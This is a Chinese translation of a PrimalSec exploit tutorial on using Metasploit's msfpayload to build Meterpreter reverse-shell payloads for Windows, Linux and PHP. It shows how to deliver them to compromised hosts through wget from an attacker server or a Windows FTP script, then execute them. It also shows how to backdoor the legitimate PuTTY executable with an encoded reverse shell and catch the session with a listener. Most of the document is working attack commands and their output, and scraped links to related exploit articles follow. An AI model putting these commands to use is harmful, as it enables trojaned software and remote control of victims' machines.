漏洞利用教程:msfpayload 和 Backdooring EXEs
漏洞利用教程:msfpayload 和 Backdooring EXEs
![]()
此版本的PrimalSec漏洞教程系列将介绍如何使用msfpayload创建各种有效负载。msfpayload是Metasploit框架的一部分,允许我们生成各种格式的Metasploit有效负载。在我们之前的博文中,我们利用msfpayload生成原始shellcode,我们在缓冲区溢出中利用它来执行代码。
现在我们将讨论msfpayload的一些其他用例,以生成一些meterpreter有效负载。你经常会发现自己想要将原始shell升级到meterpreter shell,因为你有很多增加的功能,或者你可能希望为持久性提供合法的可执行文件。
创建Meterpeter有效负载以升级原始shell:
# Windows Meterpreter 反弹 shell:
msfpayload windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> X > win_meter.exe
# Linux x86 Meterpreter 反弹 Shell:
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> X > lin_meter.exe
# PHP Meterpreter 反弹 Shell:
msfpayload php/meterpreter_reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> R > php_meter.php
在Linux上下载二进制文件
要将原始shell升级到meterpreter,可以按照Linux的以下过程进行操作:
可选:使用Python生成伪终端
要创建python HTTP服务器,可以利用内置函数“SimpleHTTPServer”。你可以使用开关“-m”直接从命令行调用模块。默认情况下,侦听器将从端口8000开始,但你可以指定要用作参数的端口:
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 80 ...
现在假设你没有防火墙阻止连接,你应该能够向服务器发出请求。你可以把在你开始Python的HTTP服务器的同一目录中Meterpreter就会二进制文件,它应该是远程客户端访问。以下是你可能希望如何利用wget的示例。我发现在你没有权限在当前工作目录中写入的初始Web shell并且你无法更改目录的情况下,这种情况很常见。因此,要解决此问题,你可以执行以下操作:
# 参数 -O 允许你输出到另一个目录 /tmp/通常是可写的
wget -O /tmp/<meterpeter_binary> http://<attacker_ip>/<meterpeter_binary>
# 更改权限
chmod a+x /tmp/<meterpeter_binary>
# 总是一个好主意,以确保文件正确
file /tmp/<meterpeter_binary>
# 运行meterpreter二进制文件
/tmp/<meterpeter_binary>
在Windows上下载二进制文件
要升级你的原始外壳Meterpreter就会在Windows中可以做一些CLI功夫。这可以帮助你避开与原壳的问题,而不是处理需要额外的输入一定的命令:
# 你可以逐行建立FTP脚本
# 不要使用用户名/密码,因为它们会弄乱身份验证
C:>echo open [attacker_ip] >> ftp.txt
C:>echo [user]>>ftp.txt
C:>echo [password]>>ftp.txt
C:>echo get [meterpreter_binary]>>ftp.txt
C:>echo bye >> ftp.txt
现在,你可以使用带有参数“-s”的内置Windows FTP客户端,并使用你创建的FTP脚本文件:
c:>ftp -s:ftp.txt
ftp.exe -s:ftp.txt
User ([attacker_ip]:(none)): open [attacker_ip]
get [meterpreter_binary]
bye
c:> dir /s | findstr [meterpreter_binary]
现在,如果你想利用msfpayload后门合法二进制文件,你可以执行以下操作:
~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=443 R | msfencode -t exe -x /tmp/putty.exe -k -o putty_bad.exe -e x86/shikata_ga_nai -c 3
[*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=3)
在这个例子中,我们决定后门PuTTY,但可能是任何二进制文件。参数“-t”指定输出格式,“ - x”指定要使用的备用可执行模板,参数“ - o”指定输出文件,参数“-e”是编码使用。现在我们可以在受害者计算机上植入后门可执行文件,启动一个监听器并测试它:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.56.102:443
[*] Starting the payload handler...
现在假设一切正常,当你点击受害者机器上的PuTTY二进制文件时,你会看到你的Meterpreter会话产生:
![]()
作者:primalsecurity
责任编辑:F0rmat
翻译来源:http://www.primalsecurity.net/0x6-exploit-tutorial-msfpayload-and-backdooring-exes/
漏洞利用教程:msfpayload 和 Backdooring EXEs的更多相关文章
- ms17-010漏洞利用教程
ms17-010 漏洞利用并拿下服务器教程 攻击环境: 攻击机win2003 ip:192.168.150.129 Window2003 Python环境及工具 攻击机kali: ip:192.168 ...
- ms17-010-永恒之蓝漏洞利用教程
实验环境:虚拟机:kali-linux windows 7 请自行下载安装 1.打开虚拟机 启动kali-linux 启动windows7(未装补丁) 2.获取IP地址(ifconfig ipconf ...
- LNK快捷方式漏洞利用方式 exp制作教程
前言windows的shell32在处理控制面板程序的快捷方式文件时,存在一个漏洞,能够载入硬盘上的随意DLL文件,就可以运行随意代码. 漏洞文件的生成到“控制面板”以下,右键点“显示”,点“创建快捷 ...
- 20155306 白皎 0day漏洞——漏洞利用原理之DEP
20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...
- Nessus漏洞扫描教程之使用Nmap工具扫描识别指纹
Nessus漏洞扫描教程之使用Nmap工具扫描识别指纹 Nmap工具的准备工作 当用户对Nessus工具有清晰的认识后,即可使用该工具实施扫描.但是,在扫描之前需要做一些准备工作,如探测网络中活动的主 ...
- Windows漏洞利用技术概述
Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演 ...
- Linux环境下常见漏洞利用技术(培训ppt+实例+exp)
记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...
- apt28组织新的flash漏洞利用包dealerschoice分析
17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ...
- Linux堆溢出漏洞利用之unlink
Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...
随机推荐
- ES查询-match VS match_phrase
我们以一个查询的示例开始,我们在student这个type中存储了一些学生的基本信息,我们分别使用match和match_phrase进行查询. 首先,使用match进行检索,关键字是“He is”: ...
- Flask-WTForms 简单使用
安装 wtforms 2.2.1 直接上代码: app.py 文件: from flask import Flask, render_template, request from wtforms im ...
- NoteBook学习(一)-------- Zeppelin VS Jupyter
notebook1.mdhtml, body {overflow-x: initial !important;}html { font-size: 14px; color: rgb(51, 51, 5 ...
- ROS零门槛学渣教程系列(一)——ubuntu安装
本教程使用虚拟机安装ubuntu 实验前准备:下载ubuntu系统镜像 本教程使用的是ubuntu14.04lts版本,有能力的读者可自行下载安装. 推荐使用本人制作的镜像,该镜像已安装好ROS.和配 ...
- nginx学习笔记(三)
nginx变量 有一些内建变量是支持改写的,其中一个例子是 $args. 这个变量在读取时返回当前请求的 URL 参数串(即请求 URL 中问号后面的部分,如果有的话) 我们看一个通过修改 $args ...
- 基于IDEA工具 lombok 的使用
一.简介 Lombok 是一种 Java™ 实用工具,可用来帮助开发人员消除 Java 的冗长,尤其是对于简单的 Java 对象(POJO).它通过注解实现这一目的. 二.lombok的添加和常用注解 ...
- Linux初次修改环境变量
对于刚刚从windows系统跳到Linux的小白们,相信多少都会出现一些强迫症,希望能将Linux的Terminal能调出点色彩,让其好看些.之前自己也不知道怎么按着百度的教程操作完成的,直到组里新来 ...
- Codeforces 1083B The Fair Nut and Strings
Description 给定两个由 \('a'\), \('b'\) 组成的字符串 \(a\), \(b\),以及两个整数 \(n\) 和 \(k\) \(n\) 表示字符串 \(a\),\(b\) ...
- Vue 中使用 viewerjs进行本地上传预览图片
https://www.cnblogs.com/shenjp/p/9754171.html 如果图片路径是 接口的返回信息的话,将路径存储在数组中,在this.$nextTick中实例化Viewer: ...
- postma概念与使用
Postman是google开发的一款功能强大的网页调试与发送网页HTTP请求,并能运行测试用例的的Chrome插件.Postman作为一个chrome的插件,你可以打开chrome,在chrome ...